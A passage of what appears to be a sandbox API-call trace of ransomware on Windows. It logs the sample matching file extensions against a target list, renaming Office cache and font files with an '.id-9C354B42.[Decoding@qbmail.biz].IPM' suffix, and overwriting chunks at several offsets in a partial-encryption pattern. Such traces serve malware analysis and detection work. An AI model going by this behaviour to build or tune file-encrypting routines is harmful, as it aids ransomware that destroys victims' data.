-1 [0069.852] lstrcmpiW (lpString1=".ttf", lpString2=".IPM") returned 1 [0069.852] lstrlenW (lpString="jpn_boot.ttf") returned 12 [0069.852] CreateFileW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0069.902] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=1984228) returned 1 [0069.902] CloseHandle (hObject=0x1bc) returned 1 [0069.902] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0x20 [0069.902] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0069.902] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0 [0069.902] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0069.902] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0069.902] lstrlenW (lpString=".doc") returned 4 [0069.902] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0069.902] lstrlenW (lpString=".docx") returned 5 [0069.903] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0069.903] lstrlenW (lpString=".pdf") returned 4 [0069.903] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0069.903] lstrlenW (lpString=".xls") returned 4 [0069.903] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0069.903] lstrlenW (lpString=".xlsx") returned 5 [0069.903] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0069.903] lstrlenW (lpString=".ppt") returned 4 [0069.903] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0069.903] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0069.903] lstrlenW (lpString=".zip") returned 4 [0069.904] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0069.904] lstrlenW (lpString=".rar") returned 4 [0069.904] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0069.904] lstrlenW (lpString=".bz2") returned 4 [0069.904] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0069.904] lstrlenW (lpString=".7z") returned 3 [0069.904] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0069.904] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0069.904] lstrlenW (lpString=".dbf") returned 4 [0069.904] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0069.904] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0069.904] lstrlenW (lpString=".1cd") returned 4 [0069.904] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0069.904] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0069.904] lstrlenW (lpString=".jpg") returned 4 [0069.904] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0069.905] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0069.905] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0069.905] lstrlenW (lpString=".doc") returned 4 [0069.905] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0069.905] lstrlenW (lpString=".docx") returned 5 [0069.905] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0069.905] lstrlenW (lpString=".pdf") returned 4 [0069.905] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0069.905] lstrlenW (lpString=".xls") returned 4 [0069.905] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0069.905] lstrlenW (lpString=".xlsx") returned 5 [0069.905] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0069.905] lstrlenW (lpString=".ppt") returned 4 [0069.905] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0069.905] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0069.905] lstrlenW (lpString=".zip") returned 4 [0069.905] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0069.905] lstrlenW (lpString=".rar") returned 4 [0069.905] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0069.906] lstrlenW (lpString=".bz2") returned 4 [0069.906] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0069.906] lstrlenW (lpString=".7z") returned 3 [0069.906] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0069.906] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0069.906] lstrlenW (lpString=".dbf") returned 4 [0069.906] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0069.906] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0069.906] lstrlenW (lpString=".1cd") returned 4 [0069.906] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0069.906] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0069.906] lstrlenW (lpString=".jpg") returned 4 [0069.906] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0069.906] lstrcmpiW (lpString1=".sys", lpString2=".IPM") returned 1 [0069.906] lstrlenW (lpString="hiberfil.sys") returned 12 [0069.906] CreateFileW (lpFileName="C:\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0069.907] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0069.907] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0069.907] lstrlenW (lpString=".doc") returned 4 [0069.907] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0069.907] lstrlenW (lpString=".docx") returned 5 [0069.907] lstrcmpiW (lpString1=".docx", lpString2="l.sys") returned -1 [0069.907] lstrlenW (lpString=".pdf") returned 4 [0069.907] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0069.907] lstrlenW (lpString=".xls") returned 4 [0069.907] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0069.907] lstrlenW (lpString=".xlsx") returned 5 [0069.907] lstrcmpiW (lpString1=".xlsx", lpString2="l.sys") returned -1 [0069.907] lstrlenW (lpString=".ppt") returned 4 [0069.907] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0069.907] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0069.907] lstrlenW (lpString=".zip") returned 4 [0069.908] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0069.908] lstrlenW (lpString=".rar") returned 4 [0069.908] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0069.908] lstrlenW (lpString=".bz2") returned 4 [0069.908] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0069.908] lstrlenW (lpString=".7z") returned 3 [0069.908] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0069.908] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0069.908] lstrlenW (lpString=".dbf") returned 4 [0069.908] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0069.908] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0069.908] lstrlenW (lpString=".1cd") returned 4 [0069.908] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0069.908] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0069.908] lstrlenW (lpString=".jpg") returned 4 [0069.908] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0069.908] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0069.908] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0069.908] lstrlenW (lpString=".doc") returned 4 [0069.908] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0069.909] lstrlenW (lpString=".docx") returned 5 [0069.909] lstrcmpiW (lpString1=".docx", lpString2="l.sys") returned -1 [0069.909] lstrlenW (lpString=".pdf") returned 4 [0069.909] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0069.909] lstrlenW (lpString=".xls") returned 4 [0069.909] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0069.909] lstrlenW (lpString=".xlsx") returned 5 [0069.909] lstrcmpiW (lpString1=".xlsx", lpString2="l.sys") returned -1 [0069.909] lstrlenW (lpString=".ppt") returned 4 [0069.909] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0069.909] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0069.909] lstrlenW (lpString=".zip") returned 4 [0069.909] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0069.909] lstrlenW (lpString=".rar") returned 4 [0069.909] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0069.909] lstrlenW (lpString=".bz2") returned 4 [0069.909] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0069.909] lstrlenW (lpString=".7z") returned 3 [0069.909] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0069.909] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0069.909] lstrlenW (lpString=".dbf") returned 4 [0069.910] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0069.910] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0069.910] lstrlenW (lpString=".1cd") returned 4 [0069.910] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0069.910] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0069.910] lstrlenW (lpString=".jpg") returned 4 [0069.910] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0069.910] lstrcmpiW (lpString1=".cab", lpString2=".IPM") returned -1 [0069.910] lstrlenW (lpString="ExcelLR.cab") returned 11 [0069.910] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0070.060] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=16972987) returned 1 [0070.060] CloseHandle (hObject=0x1c0) returned 1 [0070.060] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab")) returned 0x2020 [0070.060] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0070.060] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 1 [0070.135] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0070.135] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0x0) returned 1 [0070.135] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0070.135] ReadFile (in: hFile=0x1c0, lpBuffer=0x3c90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3c90058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0070.419] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x56543e, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0070.419] ReadFile (in: hFile=0x1c0, lpBuffer=0x3cd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3cd0058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0070.522] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0070.522] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0xfefcbb, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0070.522] ReadFile (in: hFile=0x1c0, lpBuffer=0x3d10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3d10058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0070.956] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0070.957] WriteFile (in: hFile=0x1c0, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x32afcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x32afcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0070.994] SetEndOfFile (hFile=0x1c0) returned 1 [0070.994] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40000) returned 0x3f23fe0 [0071.153] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0071.153] WriteFile (in: hFile=0x1c0, lpBuffer=0x3f23fe0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f23fe0*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0071.155] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x56543e, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0071.155] WriteFile (in: hFile=0x1c0, lpBuffer=0x3f23fe0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f23fe0*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0071.156] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0xfefcbb, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0071.157] WriteFile (in: hFile=0x1c0, lpBuffer=0x3f23fe0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f23fe0*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0071.160] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3f23fe0 | out: hHeap=0x5d0000) returned 1 [0071.160] CloseHandle (hObject=0x1c0) returned 1 [0078.367] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0078.367] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0078.367] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0078.367] lstrlenW (lpString=".doc") returned 4 [0078.368] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0078.368] lstrlenW (lpString=".docx") returned 5 [0078.368] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0078.368] lstrlenW (lpString=".pdf") returned 4 [0078.368] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0078.368] lstrlenW (lpString=".xls") returned 4 [0078.368] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0078.368] lstrlenW (lpString=".xlsx") returned 5 [0078.368] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0078.368] lstrlenW (lpString=".ppt") returned 4 [0078.368] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0078.368] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0078.368] lstrlenW (lpString=".zip") returned 4 [0078.368] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0078.368] lstrlenW (lpString=".rar") returned 4 [0078.368] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0078.368] lstrlenW (lpString=".bz2") returned 4 [0078.368] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0078.368] lstrlenW (lpString=".7z") returned 3 [0078.369] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0078.369] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0078.369] lstrlenW (lpString=".dbf") returned 4 [0078.369] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0078.369] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0078.369] lstrlenW (lpString=".1cd") returned 4 [0078.369] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0078.369] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0078.369] lstrlenW (lpString=".jpg") returned 4 [0078.369] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0078.369] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0078.369] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0078.369] lstrlenW (lpString=".doc") returned 4 [0078.369] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0078.369] lstrlenW (lpString=".docx") returned 5 [0078.369] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0078.369] lstrlenW (lpString=".pdf") returned 4 [0078.370] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0078.370] lstrlenW (lpString=".xls") returned 4 [0078.370] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0078.370] lstrlenW (lpString=".xlsx") returned 5 [0078.370] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0078.370] lstrlenW (lpString=".ppt") returned 4 [0078.370] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0078.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0078.370] lstrlenW (lpString=".zip") returned 4 [0078.370] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0078.370] lstrlenW (lpString=".rar") returned 4 [0078.370] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0078.370] lstrlenW (lpString=".bz2") returned 4 [0078.370] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0078.370] lstrlenW (lpString=".7z") returned 3 [0078.370] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0078.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0078.370] lstrlenW (lpString=".dbf") returned 4 [0078.370] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0078.371] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0078.371] lstrlenW (lpString=".1cd") returned 4 [0078.371] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0078.371] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0078.371] lstrlenW (lpString=".jpg") returned 4 [0078.371] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0078.371] lstrcmpiW (lpString1=".msi", lpString2=".IPM") returned 1 [0078.371] lstrlenW (lpString="OutlookMUI.msi") returned 14 [0078.371] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0078.372] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=2865664) returned 1 [0078.372] CloseHandle (hObject=0x1c0) returned 1 [0078.372] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi")) returned 0x2020 [0078.372] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0078.372] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 1 [0078.373] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0078.373] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0x0) returned 1 [0078.373] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0078.373] ReadFile (in: hFile=0x1c0, lpBuffer=0x3c90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3c90058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0078.489] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0xe9355, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0078.489] ReadFile (in: hFile=0x1c0, lpBuffer=0x3cd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3cd0058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0078.512] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0078.513] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x27ba00, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0078.513] ReadFile (in: hFile=0x1c0, lpBuffer=0x3d10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3d10058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0078.845] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0078.845] WriteFile (in: hFile=0x1c0, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x32afcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x32afcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0079.209] SetEndOfFile (hFile=0x1c0) returned 1 [0079.209] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40000) returned 0x3f74008 [0079.215] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0079.215] WriteFile (in: hFile=0x1c0, lpBuffer=0x3f74008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74008*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0079.219] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0xe9355, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0079.219] WriteFile (in: hFile=0x1c0, lpBuffer=0x3f74008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74008*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0079.231] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x27ba00, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0079.231] WriteFile (in: hFile=0x1c0, lpBuffer=0x3f74008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74008*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0079.732] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3f74008 | out: hHeap=0x5d0000) returned 1 [0079.732] CloseHandle (hObject=0x1c0) returned 1 [0080.918] SetFileAttributesW (lpFileName="C:\\MSOCache\\All 